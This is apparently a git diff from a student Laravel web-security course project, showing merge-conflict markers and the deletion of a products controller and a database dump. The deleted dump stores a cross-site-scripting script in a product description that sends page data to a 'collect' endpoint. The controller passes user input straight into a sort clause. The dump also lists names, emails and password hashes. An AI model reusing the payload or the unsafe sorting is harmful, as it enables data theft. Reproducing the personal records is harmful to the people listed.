diff --git a/WebSecService/.editorconfig b/.editorconfig similarity index 100% rename from WebSecService/.editorconfig rename to .editorconfig diff --git a/WebSecService/.env.example b/.env.example similarity index 100% rename from WebSecService/.env.example rename to .env.example diff --git a/.gitattributes b/.gitattributes index dfe07704..7a19c2ea 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,2 +1,16 @@ +<<<<<<< HEAD +* text=auto eol=lf + +*.blade.php diff=html +*.css diff=css +*.html diff=html +*.md diff=markdown +*.php diff=php + +/.github export-ignore +CHANGELOG.md export-ignore +.styleci.yml export-ignore +======= # Auto detect text files and perform LF normalization * text=auto +>>>>>>> aaaebfbccf2392ce4418798d840e3a6020adf600 diff --git a/WebSecService/.gitignore b/.gitignore similarity index 100% rename from WebSecService/.gitignore rename to .gitignore diff --git a/WebSecService/.htaccess b/.htaccess similarity index 100% rename from WebSecService/.htaccess rename to .htaccess diff --git a/WebSecService/.rnd b/.rnd similarity index 100% rename from WebSecService/.rnd rename to .rnd diff --git a/README.md b/README.md index 172be14d..ae4e4d16 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,71 @@ +<<<<<<< HEAD +

Laravel Logo

+ +

+Build Status +Total Downloads +Latest Stable Version +License +

+ +## About Laravel + +Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experience to be truly fulfilling. Laravel takes the pain out of development by easing common tasks used in many web projects, such as: + +- [Simple, fast routing engine](https://laravel.com/docs/routing). +- [Powerful dependency injection container](https://laravel.com/docs/container). +- Multiple back-ends for [session](https://laravel.com/docs/session) and [cache](https://laravel.com/docs/cache) storage. +- Expressive, intuitive [database ORM](https://laravel.com/docs/eloquent). +- Database agnostic [schema migrations](https://laravel.com/docs/migrations). +- [Robust background job processing](https://laravel.com/docs/queues). +- [Real-time event broadcasting](https://laravel.com/docs/broadcasting). + +Laravel is accessible, powerful, and provides tools required for large, robust applications. + +## Learning Laravel + +Laravel has the most extensive and thorough [documentation](https://laravel.com/docs) and video tutorial library of all modern web application frameworks, making it a breeze to get started with the framework. + +You may also try the [Laravel Bootcamp](https://bootcamp.laravel.com), where you will be guided through building a modern Laravel application from scratch. + +If you don't feel like reading, [Laracasts](https://laracasts.com) can help. Laracasts contains thousands of video tutorials on a range of topics including Laravel, modern PHP, unit testing, and JavaScript. Boost your skills by digging into our comprehensive video library. + +## Laravel Sponsors + +We would like to extend our thanks to the following sponsors for funding Laravel development. If you are interested in becoming a sponsor, please visit the [Laravel Partners program](https://partners.laravel.com). + +### Premium Partners + +- **[Vehikl](https://vehikl.com/)** +- **[Tighten Co.](https://tighten.co)** +- **[WebReinvent](https://webreinvent.com/)** +- **[Kirschbaum Development Group](https://kirschbaumdevelopment.com)** +- **[64 Robots](https://64robots.com)** +- **[Curotec](https://www.curotec.com/services/technologies/laravel/)** +- **[Cyber-Duck](https://cyber-duck.co.uk)** +- **[DevSquad](https://devsquad.com/hire-laravel-developers)** +- **[Jump24](https://jump24.co.uk)** +- **[Redberry](https://redberry.international/laravel/)** +- **[Active Logic](https://activelogic.com)** +- **[byte5](https://byte5.de)** +- **[OP.GG](https://op.gg)** + +## Contributing + +Thank you for considering contributing to the Laravel framework! The contribution guide can be found in the [Laravel documentation](https://laravel.com/docs/contributions). + +## Code of Conduct + +In order to ensure that the Laravel community is welcoming to all, please review and abide by the [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). + +## Security Vulnerabilities + +If you discover a security vulnerability within Laravel, please send an e-mail to Taylor Otwell via [taylor@laravel.com](mailto:taylor@laravel.com). All security vulnerabilities will be promptly addressed. + +## License + +The Laravel framework is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT). +======= # websec +>>>>>>> aaaebfbccf2392ce4418798d840e3a6020adf600 diff --git a/WebSecService/.gitattributes b/WebSecService/.gitattributes deleted file mode 100644 index fcb21d39..00000000 --- a/WebSecService/.gitattributes +++ /dev/null @@ -1,11 +0,0 @@ -* text=auto eol=lf - -*.blade.php diff=html -*.css diff=css -*.html diff=html -*.md diff=markdown -*.php diff=php - -/.github export-ignore -CHANGELOG.md export-ignore -.styleci.yml export-ignore diff --git a/WebSecService/README.md b/WebSecService/README.md deleted file mode 100644 index 1a4c26ba..00000000 --- a/WebSecService/README.md +++ /dev/null @@ -1,66 +0,0 @@ -

Laravel Logo

- -

-Build Status -Total Downloads -Latest Stable Version -License -

- -## About Laravel - -Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experience to be truly fulfilling. Laravel takes the pain out of development by easing common tasks used in many web projects, such as: - -- [Simple, fast routing engine](https://laravel.com/docs/routing). -- [Powerful dependency injection container](https://laravel.com/docs/container). -- Multiple back-ends for [session](https://laravel.com/docs/session) and [cache](https://laravel.com/docs/cache) storage. -- Expressive, intuitive [database ORM](https://laravel.com/docs/eloquent). -- Database agnostic [schema migrations](https://laravel.com/docs/migrations). -- [Robust background job processing](https://laravel.com/docs/queues). -- [Real-time event broadcasting](https://laravel.com/docs/broadcasting). - -Laravel is accessible, powerful, and provides tools required for large, robust applications. - -## Learning Laravel - -Laravel has the most extensive and thorough [documentation](https://laravel.com/docs) and video tutorial library of all modern web application frameworks, making it a breeze to get started with the framework. - -You may also try the [Laravel Bootcamp](https://bootcamp.laravel.com), where you will be guided through building a modern Laravel application from scratch. - -If you don't feel like reading, [Laracasts](https://laracasts.com) can help. Laracasts contains thousands of video tutorials on a range of topics including Laravel, modern PHP, unit testing, and JavaScript. Boost your skills by digging into our comprehensive video library. - -## Laravel Sponsors - -We would like to extend our thanks to the following sponsors for funding Laravel development. If you are interested in becoming a sponsor, please visit the [Laravel Partners program](https://partners.laravel.com). - -### Premium Partners - -- **[Vehikl](https://vehikl.com/)** -- **[Tighten Co.](https://tighten.co)** -- **[WebReinvent](https://webreinvent.com/)** -- **[Kirschbaum Development Group](https://kirschbaumdevelopment.com)** -- **[64 Robots](https://64robots.com)** -- **[Curotec](https://www.curotec.com/services/technologies/laravel/)** -- **[Cyber-Duck](https://cyber-duck.co.uk)** -- **[DevSquad](https://devsquad.com/hire-laravel-developers)** -- **[Jump24](https://jump24.co.uk)** -- **[Redberry](https://redberry.international/laravel/)** -- **[Active Logic](https://activelogic.com)** -- **[byte5](https://byte5.de)** -- **[OP.GG](https://op.gg)** - -## Contributing - -Thank you for considering contributing to the Laravel framework! The contribution guide can be found in the [Laravel documentation](https://laravel.com/docs/contributions). - -## Code of Conduct - -In order to ensure that the Laravel community is welcoming to all, please review and abide by the [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). - -## Security Vulnerabilities - -If you discover a security vulnerability within Laravel, please send an e-mail to Taylor Otwell via [taylor@laravel.com](mailto:taylor@laravel.com). All security vulnerabilities will be promptly addressed. - -## License - -The Laravel framework is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT). diff --git a/WebSecService/app/Http/Controllers/Web/ProductsController.php b/WebSecService/app/Http/Controllers/Web/ProductsController.php deleted file mode 100644 index 13cec21c..00000000 --- a/WebSecService/app/Http/Controllers/Web/ProductsController.php +++ /dev/null @@ -1,76 +0,0 @@ -middleware('auth:web')->except('list'); - /*123*/ - } - - public function list(Request $request) { - - $query = Product::select("products.*"); - - $query->when($request->keywords, - fn($q)=> $q->where("name", "like", "%$request->keywords%")); - - $query->when($request->min_price, - fn($q)=> $q->where("price", ">=", $request->min_price)); - - $query->when($request->max_price, fn($q)=> - $q->where("price", "<=", $request->max_price)); - - $query->when($request->order_by, - fn($q)=> $q->orderBy($request->order_by, $request->order_direction??"ASC")); - - $products = $query->get(); - - return view('products.list', compact('products')); - } - - public function edit(Request $request, Product $product = null) { - - if(!auth()->user()) return redirect('/'); - - $product = $product??new Product(); - - return view('products.edit', compact('product')); - } - - public function save(Request $request, Product $product = null) { - - $this->validate($request, [ - 'code' => ['required', 'string', 'max:32'], - 'name' => ['required', 'string', 'max:128'], - 'model' => ['required', 'string', 'max:256'], - 'description' => ['required', 'string', 'max:1024'], - 'price' => ['required', 'numeric'], - ]); - - $product = $product??new Product(); - $product->fill($request->all()); - $product->save(); - - return redirect()->route('products_list'); - } - - public function delete(Request $request, Product $product) { - - if(!auth()->user()->hasPermissionTo('delete_products')) abort(401); - - $product->delete(); - - return redirect()->route('products_list'); - } -} \ No newline at end of file diff --git a/WebSecService/app/Models/Product.php b/WebSecService/app/Models/Product.php deleted file mode 100644 index cb81413c..00000000 --- a/WebSecService/app/Models/Product.php +++ /dev/null @@ -1,16 +0,0 @@ -let name = document.getElementById(\'name\').textContent;let xhr = new XMLHttpRequest();xhr.open(\'GET\', `https://websecservice.localhost.com/collect?name=${encodeURIComponent(name)}`);xhr.send();', 'lgtv50.jpg', NULL, '2025-04-22 06:08:09', NULL), -(2, 'RF01', 'Toshipa Refrigerator 14\"', 22000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tsrf50.jpg', NULL, NULL, NULL), -(3, 'RF02', 'Toshipa Refrigerator 18\"', 28000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf2.jpg', NULL, NULL, NULL), -(4, 'RF03', 'Toshipa Refrigerator 19\"', 32000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf3.jpg', NULL, NULL, NULL), -(5, 'TV02', 'LG TV 55\"', 23000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv2.jpg', NULL, NULL, NULL), -(6, 'RF04', 'LG Refrigerator 14\"', 22000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf4.jpg', NULL, NULL, NULL), -(7, 'TV03', 'LG TV 60\"', 44000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv3.jpg', NULL, NULL, NULL), -(8, 'RF05', 'Toshipa Refrigerator 12\"', 10700, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf5.jpg', NULL, NULL, NULL), -(9, 'TV04', 'LG TV 99\"', 108000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv4.jpg', NULL, NULL, NULL), -(10, 'RF05', 'Toshipa Refrigerator 19\"', 44000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf4.jpg', '2025-02-25 03:18:04', '2025-02-25 03:18:04', NULL), -(11, 'TV01', 'LG TV 50\"', 18000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'lgtv50.jpg', '2025-02-25 03:24:04', '2025-02-25 03:24:04', NULL); - --- -------------------------------------------------------- - --- --- Table structure for table `quizzes` --- - -CREATE TABLE `quizzes` ( - `id` bigint(20) UNSIGNED NOT NULL, - `question` text NOT NULL, - `instructor_id` bigint(20) UNSIGNED NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- -------------------------------------------------------- - --- --- Table structure for table `roles` --- - -CREATE TABLE `roles` ( - `id` bigint(20) UNSIGNED NOT NULL, - `name` varchar(255) NOT NULL, - `guard_name` varchar(255) NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `roles` --- - -INSERT INTO `roles` (`id`, `name`, `guard_name`, `created_at`, `updated_at`) VALUES -(1, 'Admin', 'web', NULL, NULL), -(2, 'Employee', 'web', NULL, NULL); - --- -------------------------------------------------------- - --- --- Table structure for table `role_has_permissions` --- - -CREATE TABLE `role_has_permissions` ( - `permission_id` bigint(20) UNSIGNED NOT NULL, - `role_id` bigint(20) UNSIGNED NOT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `role_has_permissions` --- - -INSERT INTO `role_has_permissions` (`permission_id`, `role_id`) VALUES -(1, 1), -(2, 1), -(3, 1), -(4, 1), -(4, 2), -(5, 1), -(5, 2), -(7, 1), -(8, 1); - --- -------------------------------------------------------- - --- --- Table structure for table `sessions` --- - -CREATE TABLE `sessions` ( - `id` varchar(255) NOT NULL, - `user_id` bigint(20) UNSIGNED DEFAULT NULL, - `ip_address` varchar(45) DEFAULT NULL, - `user_agent` text DEFAULT NULL, - `payload` longtext NOT NULL, - `last_activity` int(11) NOT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `sessions` --- - -INSERT INTO `sessions` (`id`, `user_id`, `ip_address`, `user_agent`, `payload`, `last_activity`) VALUES -('02wEA5qUS3ZRmzj5gXaicsFSQ9XW4zD7M35D61aJ', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiV0N6QUhQRVd4NHZ5TUZXMVpNd1dKdmJuUWdYRkpzTnFlaWw5QmVGaiI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDA6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vbG9naW4iO31zOjY6Il9mbGFzaCI7YToyOntzOjM6Im9sZCI7YTowOnt9czozOiJuZXciO2E6MDp7fX19', 1747118662), -('4gRDLQUglB4wo5ZmUR1LztqRVpYxj9tcbk34EM4Q', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiN3hXSmNkMW05NzZ6Q0FYenZleE5YV1JYd2pkck5NYkxpUEpqQ1FUSiI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6Mzk6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vZXZlbiI7fXM6NjoiX2ZsYXNoIjthOjI6e3M6Mzoib2xkIjthOjA6e31zOjM6Im5ldyI7YTowOnt9fX0=', 1747064425), -('74ra6ZXaUy6l3eOOg85DaSPWQ7rzoWeBBUcgWAkn', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiUUp3WEV5NXJpTTRFbng4Ujk3bEh3TzY1R3VNS2ZZYnkwbW9MQTYwMyI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MTUxOiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49UUp3WEV5NXJpTTRFbng4Ujk3bEh3TzY1R3VNS2ZZYnkwbW9MQTYwMyZhY3Rpb249RW5jcnlwdCZkYXRhPVdlbGNvbWUlMjB0byUyMENyeXB0b2dyYXBoeSZyZXN1bHQ9Ijt9fQ==', 1746671284), -('8faTVrbYFdbpZh7j908PLIQRPhwMycoeJaLl1Db2', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoidEF1eVNVV1Rxa3J5TTRGSWVUMEVnUVg3T2QyWnJ3YWNTZ0pSNENJZyI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MzQ6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20iO31zOjY6Il9mbGFzaCI7YToyOntzOjM6Im9sZCI7YTowOnt9czozOiJuZXciO2E6MDp7fX19', 1747105660), -('8p1FCXP6OR7dvvv0Cmb5hVnQiydfD0e6eFJiQ8EN', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiSEh0NWtpRzhqUjY2bTJuZ2hPUEdQNWs3empMVUJpYVgybXpUWmZZTCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MTUxOiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49SEh0NWtpRzhqUjY2bTJuZ2hPUEdQNWs3empMVUJpYVgybXpUWmZZTCZhY3Rpb249RW5jcnlwdCZkYXRhPVdlbGNvbWUlMjB0byUyMENyeXB0b2dyYXBoeSZyZXN1bHQ9Ijt9fQ==', 1747537708), -('aSnonDTb3RIek6FVMWGLpDxgOT1rJYM4DZ0hBP2e', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoibkpiUzNyZ3BnZzJodXAyVk5RYTUwNzBVdmc5dlpoRVo3cGg4ZmcwTyI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDA6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vbG9naW4iO319', 1747120185), -('d5K0vEA26VBc57XTltS0rNUBmPvKhCjsqFmz0jKf', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YToyOntzOjY6Il90b2tlbiI7czo0MDoiRzFtUWNXbDMxdDF2c1RBNURFcnVTZzdoVnZFbWs0dGIwOUVVenhndCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319fQ==', 1747024622), -('MhYxMvjv8Mv7LKboMlhBPZmtoKucu6QwHWDn5ODg', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiMFd4U0NLZHl3ZmpzQTgzNXFKaEJhc2Y4NDJjaFAyVElzN2lINWdNTCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDk2OiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49MFd4U0NLZHl3ZmpzQTgzNXFKaEJhc2Y4NDJjaFAyVElzN2lINWdNTCZhY3Rpb249S2V5UmVjaXZlJmRhdGE9RHN1N28lMkYxODFPQVpxQ0licFM2cUdvVGhuNnA0cjVJcmRiQTlrWVlweXdZY3hqZXZQT2l5OTAzdDFIc3o1ZnY5dEtWR1lmcmsxdDhvajFHeXNPVGluQ2NlMGZRc2JweVlFTGNEOTdmMCUyQmY4ZlBxYkc4cTFxbEVHcUdRQTRBV3ZjcW5FRyUyQiUyRnRlWVJxUlBDeGtwJTJGemI4VnpER1RlMU83ZEJKQXQ3aDBncXJVcm5TdW9zZDI1Y3pueXpzMDU4R2c4JTJGOVNwZEU2S0lFRWRZZmtleEIlMkJwUG1aS0t1YWRxbmNMWlFaMlJGUGdTZTN0UVJlclNQaXglMkJzaXV1dFpiMWxOb2RrcEZnc0tteXNnJTJCZXRYWXFBJTJCT2dMd0ZwTzJ3TXZ6JTJCVlpqcGppWWpkSFllRHJKOTJ2M3dKeG5KRFNDTm1vYVBFN0RHcUFmck96Rmp4TXV5YWRVSDE1ZyUzRCUzRCZyZXN1bHQ9Ijt9fQ==', 1746517959), -('WC5aSWuk1Nv8zlAPOOOU0oZ3UJevZqRVpdWb4qGg', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiZmY4WFBBN25sZTRUaUhwMUU5VFZ6ZTRSUjFFZnNNSEdvY2d1a2xMcyI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDU6Imh0dHBzOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL3dlYmNyeXB0byI7fXM6NjoiX2ZsYXNoIjthOjI6e3M6Mzoib2xkIjthOjA6e31zOjM6Im5ldyI7YTowOnt9fX0=', 1746508965); - --- -------------------------------------------------------- - --- --- Table structure for table `users` --- - -CREATE TABLE `users` ( - `id` bigint(20) UNSIGNED NOT NULL, - `name` varchar(255) NOT NULL, - `email` varchar(255) NOT NULL, - `email_verified_at` timestamp NULL DEFAULT NULL, - `password` varchar(255) DEFAULT NULL, - `remember_token` varchar(100) DEFAULT NULL, - `google_id` text DEFAULT NULL, - `google_token` text DEFAULT NULL, - `google_refresh_token` text DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - `credit` int(11) DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `users` --- - -INSERT INTO `users` (`id`, `name`, `email`, `email_verified_at`, `password`, `remember_token`, `google_id`, `google_token`, `google_refresh_token`, `created_at`, `updated_at`, `credit`) VALUES -(1, 'Mohamed Saleh', 'mohamed.saleh@sut.edu.eg', '2025-04-05 05:03:52', '$2y$12$NmCqiUwF4OfYn4eyuZaOhuT2IbJyQ394O/83jFSYtXJmfVZWgfCpi', NULL, NULL, NULL, NULL, '2025-03-10 16:34:55', '2025-05-12 23:05:19', 1111), -(16, 'Ahmed Ali Said', 'malisobh2010@gmail.com1', '2025-04-05 05:03:52', '$2y$12$cHhB7KEnGMKN2rrvmdX2POhwTv5yJC/wurAoHl8h/JAFGC5ZMezVi', NULL, NULL, NULL, NULL, '2025-03-11 05:32:37', '2025-03-18 01:54:30', 222), -(17, 'Nader Mohsen', 'nader.mohsen@gmail.com', '2025-04-05 05:03:52', '$2y$12$XKRIjZp2dELynmiLUgjWI.ecYWUeM3peE34SKh8/jYotKLaSy2EGS', NULL, NULL, NULL, NULL, '2025-03-18 01:02:26', '2025-03-18 01:59:02', 3333), -(37, 'Mohamed Sobh', 'malisobh2010@gmail.com', NULL, NULL, NULL, NULL, NULL, NULL, '2025-04-08 06:30:31', '2025-04-08 06:30:31', 4444), -(38, 'Test User', 'useremail@domain.com', '2025-05-01 06:28:45', '$2y$12$EmJ.tAsGA9N/qTYpkCwFTuXD6HWRw6s7JnJXWVaSu3n//nX3MkNJK', NULL, NULL, NULL, NULL, '2025-05-01 02:08:33', '2025-05-01 02:08:33', NULL); - --- --- Indexes for dumped tables --- - --- --- Indexes for table `cache` --- -ALTER TABLE `cache` - ADD PRIMARY KEY (`key`); - --- --- Indexes for table `cache_locks` --- -ALTER TABLE `cache_locks` - ADD PRIMARY KEY (`key`); - --- --- Indexes for table `failed_jobs` --- -ALTER TABLE `failed_jobs` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); - --- --- Indexes for table `jobs` --- -ALTER TABLE `jobs` - ADD PRIMARY KEY (`id`), - ADD KEY `jobs_queue_index` (`queue`); - --- --- Indexes for table `job_batches` --- -ALTER TABLE `job_batches` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `migrations` --- -ALTER TABLE `migrations` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `model_has_permissions` --- -ALTER TABLE `model_has_permissions` - ADD PRIMARY KEY (`permission_id`,`model_id`,`model_type`), - ADD KEY `model_has_permissions_model_id_model_type_index` (`model_id`,`model_type`); - --- --- Indexes for table `model_has_roles` --- -ALTER TABLE `model_has_roles` - ADD PRIMARY KEY (`role_id`,`model_id`,`model_type`), - ADD KEY `model_has_roles_model_id_model_type_index` (`model_id`,`model_type`); - --- --- Indexes for table `oauth_access_tokens` --- -ALTER TABLE `oauth_access_tokens` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_access_tokens_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_auth_codes` --- -ALTER TABLE `oauth_auth_codes` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_auth_codes_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_clients` --- -ALTER TABLE `oauth_clients` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_clients_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_personal_access_clients` --- -ALTER TABLE `oauth_personal_access_clients` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `oauth_refresh_tokens` --- -ALTER TABLE `oauth_refresh_tokens` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_refresh_tokens_access_token_id_index` (`access_token_id`); - --- --- Indexes for table `participations` --- -ALTER TABLE `participations` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `password_reset_tokens` --- -ALTER TABLE `password_reset_tokens` - ADD PRIMARY KEY (`email`); - --- --- Indexes for table `permissions` --- -ALTER TABLE `permissions` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `permissions_name_guard_name_unique` (`name`,`guard_name`); - --- --- Indexes for table `products` --- -ALTER TABLE `products` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `quizzes` --- -ALTER TABLE `quizzes` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `roles` --- -ALTER TABLE `roles` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY 